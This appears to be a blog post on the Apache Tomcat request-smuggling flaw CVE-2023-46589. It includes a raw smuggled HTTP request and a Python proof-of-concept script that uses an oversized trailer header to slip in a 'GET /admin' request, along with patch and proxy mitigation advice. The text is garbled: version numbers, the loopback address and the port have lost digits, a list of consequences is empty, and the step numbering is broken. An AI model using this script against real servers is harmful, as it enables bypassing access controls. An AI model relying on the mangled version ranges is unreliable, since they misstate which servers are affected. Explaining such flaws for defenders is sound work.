Apache Tomcat is one of the most popular Java application servers in the world, powering countless web applications for businesses, governments, and hobbyists. But in October 2023, a serious security bug was identified—CVE-2023-46589, which left many Tomcat servers exposed to a dangerous attack called request smuggling. In this post, I’ll break down what the flaw is, how an attacker could exploit it (with code samples), and what you should do to stay safe.

What is CVE-2023-46589?

CVE-2023-46589 is an improper input validation vulnerability affecting how Tomcat processes HTTP trailer headers (these are headers sent after the body, used with chunked transfer encoding). Because of the flaw, if a trailer header is sent that exceeds the allowed size, Tomcat could treat a single HTTP request as multiple requests—even though they actually arrive in one piece.

When Tomcat is behind a reverse proxy (like Nginx, Apache HTTPD, or a load balancer), this parsing error can lead to *request smuggling*: a scenario where malicious requests are hidden within other requests, bypassing security controls or mixing up session and authentication data.

Affected Versions

* Tomcat 11..-M1 to 11..-M10
* Tomcat 10.1.-M1 to 10.1.15
* Tomcat 9..-M1 to 9..82
* Tomcat 8.5. to 8.5.95

Why Is This Vulnerability Dangerous?

Imagine a store room where packages get delivered. The staff are supposed to check each package as it arrives. But one day, someone sneaks in a big box that actually contains several smaller packages inside. The guard only checks the big box, assuming it’s one package, but inside are hidden items.

With request smuggling, attackers hide one or more requests inside another. To the proxy it looks like a single request, but Tomcat processes the hidden data as separate requests. This can lead to:

How the Trailer Header Bug Works

Suppose you send a single HTTP request with chunked encoding and add an *oversized* trailer header at the end:

POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-tomcat.example.com
Transfer-Encoding: chunked

a
attack-data

X-Evil-Header: {very-long-header-value...}
Content-Length: 44

GET /malicious HTTP/1.1
Host: vulnerable-tomcat.example.com

What happens

- Tomcat reads input and expects a trailer header per the HTTP spec, but because the trailer header is too big, it aborts parsing at that point.
- Tomcat then treats the leftover data (Content-Length: 44 ... GET /malicious ...) as a *new request*.

Pseudocode of the bug in handling trailer headers

// Pseudo-representation of flawed Tomcat parsing
if (trailerHeader.size > MAX_HEADER_SIZE) {
    stopParsing();
    // Data after this point might be treated as a new request!
}
// ...rest of request handling logic

Real-World Exploit (Request Smuggling)

Here’s a Python requests style exploit to demonstrate the issue (make sure you control the test environment!):

import socket

# Replace with your Tomcat's port and address
HOST = '127...1'
PORT = 808

# Compose a chunked request with an oversized trailer and a second HTTP request after
payload = (
    "POST / HTTP/1.1\r\n"
    "Host: vulnerable-tomcat.example.com\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "a\r\n"
    "attack-data\r\n"
    "\r\n"
    "X-Evil-Header: {}\r\n"
    "Content-Length: 44\r\n"
    "\r\n"
    "GET /admin HTTP/1.1\r\n"
    "Host: vulnerable-tomcat.example.com\r\n"
    "\r\n"
).format("A" * 8192)  # 8 KiB or more to hit the limit

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.sendall(payload.encode('utf-8'))
    print(s.recv(4096).decode('utf-8'))

What this does:

Sends an intentionally oversized trailer to cause Tomcat to stop reading.

2. The Content-Length and second GET /admin request become a smuggled request that can get processed using leftover information (e.g., authenticated session from the initial request).

Original Tomcat Security Advisory:

https://lists.apache.org/thread/wktxgmwx9y8sxv2w18jp6pbyfcdhj2

CVE Database Entry:

https://nvd.nist.gov/vuln/detail/CVE-2023-46589

Tomcat Security Updates:

https://tomcat.apache.org/security-11.html

Tomcat 8: 8.5.96 and later

> You can find the latest downloads here:
> https://tomcat.apache.org/download-90.cgi

Mitigation if you can't upgrade right away

- Use your proxy (Nginx, HAProxy, etc) to *drop* any HTTP requests with chunked transfer-encoding and trailer headers.

Explicitly set strict limits and filtering on header and body sizes in your reverse proxy.

- Consider disabling HTTP/1.1 chunked encoding requests if you do not use them.

Summary

CVE-2023-46589 exposes a subtle but powerful bug in Apache Tomcat’s HTTP parser. If you run Tomcat behind a proxy and haven't patched yet, a clever attacker can hide extra requests inside a single connection, possibly taking over user sessions or bypassing vital security checks.

Don’t delay—patch your servers and review your proxy setup today!


*If you found this post useful, please share with your IT team, and always use a safe, private test environment for any security research or patch validation.*

References

- Apache Tomcat Security Advisory
- CVE-2023-46589 at NVD
- Tomcat Security Pages

Timeline

Published on: 11/28/2023 16:15:06 UTC
Last modified on: 12/14/2023 10:15:08 UTC